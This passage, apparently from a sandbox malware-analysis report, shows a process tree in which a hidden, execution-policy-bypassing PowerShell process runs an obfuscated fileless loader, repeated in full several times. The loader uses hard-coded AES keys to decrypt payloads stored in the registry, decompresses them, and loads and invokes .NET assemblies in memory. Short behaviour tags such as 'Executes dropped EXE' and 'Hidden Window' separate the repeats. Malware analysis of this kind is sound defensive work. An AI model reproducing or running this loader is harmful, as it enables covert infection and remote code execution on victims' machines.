'')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:3972
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:7012
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1896).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        
        PID:228
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(228).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = 